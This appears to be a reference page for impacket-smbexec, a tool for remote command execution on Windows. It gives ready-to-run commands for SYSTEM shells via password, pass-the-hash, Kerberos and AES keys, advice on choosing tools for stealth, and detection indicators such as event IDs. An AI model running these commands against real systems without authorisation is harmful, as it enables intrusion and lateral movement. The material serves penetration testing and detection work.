Skip to main content

​
Overview

impacket-smbexec executes commands on a remote host by creating a temporary Windows service for each command. Unlike psexec, it does not upload any binary to the target. Each command is executed via cmd.exe /Q /c, with output redirected to a file on a writable share. The service is created and deleted per command.

​
Authentication Methods

MethodFlagExample
Password(default)domain/user:password@target
NTLM hash-hashes-hashes :NT_HASH
Kerberos-k -no-pass-k -no-pass -dc-ip DC_IP
AES key-aesKey-aesKey AES256_KEY

​
Basic Usage — Interactive Shell

impacket-smbexec domain.local/administrator:[email protected]
Local admin (no domain): 
impacket-smbexec ./administrator:[email protected]

​
Execute Specific Command

impacket-smbexec domain.local/administrator:[email protected] "whoami"
Run a PowerShell command: 
impacket-smbexec domain.local/administrator:[email protected] "powershell -c Get-Process"

​
How It Works

  1. Authenticates to the target via SMB (port 445).
  2. Connects to the Service Control Manager (SCM) via RPC.
  3. For each command, creates a new service with a random name.
  4. The service binPath runs %COMSPEC% /Q /c to drop a temporary batch file (under %SYSTEMROOT%) that executes <command> and redirects output to \\%COMPUTERNAME%\<share>\__output 2>&1, then deletes it. It does not use 127.0.0.1 or place the command directly in binPath.
  5. Starts the service, which executes the command and writes output to the share.
  6. Reads the output file over SMB.
  7. Deletes the output file and the service immediately after.
The shell runs as SYSTEM because Windows services execute under the SYSTEM context.

​
OPSEC Considerations

IndicatorDetail
Service creationOne per command — created and deleted each time
Binary on diskNone — no executable uploaded
Temp filesOutput written to C$ share (short-lived)
Event logsService install/delete (7045, 7009) per command
DetectionRapid service create/delete pattern is very distinctive
Noise levelHigh — service churn is easily detected by SIEM rules
Artifacts to expect:
  • System Event ID 7045 (new service installed) for every command
  • System Event ID 7009 (service timeout) after each execution
  • Security Event ID 4624 (network logon type 3)
  • Security Event ID 4697 (service installation)
  • Temp output files briefly written to C$

​
Pass-the-Hash

impacket-smbexec -hashes :64f12cddaa88057e06a81b54e73b949b domain.local/[email protected]
With both LM and NT hash: 
impacket-smbexec -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b domain.local/[email protected]

​
Kerberos Authentication

Requires a valid ccache file or keytab. 
export KRB5CCNAME=/tmp/administrator.ccache
impacket-smbexec -k -no-pass domain.local/[email protected]
With explicit DC IP: 
impacket-smbexec -k -no-pass -dc-ip 10.10.10.1 domain.local/[email protected] -target-ip 10.10.10.5
Using AES key directly: 
impacket-smbexec -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc domain.local/[email protected] -k -no-pass

​
Specify Share for Output

By default, output goes to C$. Use a different share: 
impacket-smbexec -share ADMIN$ domain.local/administrator:[email protected]

​
When to Use: smbexec vs psexec vs wmiexec

Featurepsexecsmbexecwmiexec
ProtocolSMB (445)SMB (445)DCOM/WMI (135 + high ports)
Binary uploadYes (RemComSvc)NoNo
Service creationOne persistentOne per commandNone
Shell contextSYSTEMSYSTEMAuthenticated user
OPSEC noiseHighHighMedium
Ports required445445135 + 445 + dynamic
AV/EDR detectionVery likelyModerateLower
Output methodNamed pipesFile on shareFile on share
InteractiveFullSemiSemi
When to choose each:
  • psexec — Need a full interactive SYSTEM shell and stealth is not a concern.
  • smbexec — Target blocks DCOM/WMI but allows SMB, and you cannot upload binaries (AV blocking writes to ADMIN$).
  • wmiexec — Stealth matters. No service creation, no binary on disk. Best default choice when all ports are available.

​
Common Errors and Fixes

ErrorCauseFix
STATUS_ACCESS_DENIEDUser lacks local admin or SCM accessVerify local admin membership
rpc_s_access_deniedCannot reach Service Control ManagerCheck SMB access and admin rights
ERROR_SERVICE_REQUEST_TIMEOUTCommand took too longService times out — command still runs but output may be lost
Connection refusedSMB port 445 blockedCheck firewall
KDC_ERR_PREAUTH_FAILEDWrong password or expired ticketVerify creds, regenerate ccache
SessionError: STATUS_LOGON_FAILUREIncorrect credentialsDouble-check password/hash
Empty outputShare not writable or output file deleted by AVTry -share ADMIN$ or different share

​
Quick Reference

# Interactive shell with password
impacket-smbexec domain.local/user:pass@TARGET

# Interactive shell with hash (pass-the-hash)
impacket-smbexec -hashes :NTHASH domain.local/user@TARGET

# Interactive shell with Kerberos
export KRB5CCNAME=/tmp/user.ccache
impacket-smbexec -k -no-pass domain.local/user@TARGET_FQDN

# Run single command
impacket-smbexec domain.local/user:pass@TARGET "ipconfig /all"

# Use alternate output share
impacket-smbexec -share ADMIN$ domain.local/user:pass@TARGET

# With explicit DC for Kerberos
impacket-smbexec -k -no-pass -dc-ip DC_IP domain.local/user@TARGET_FQDN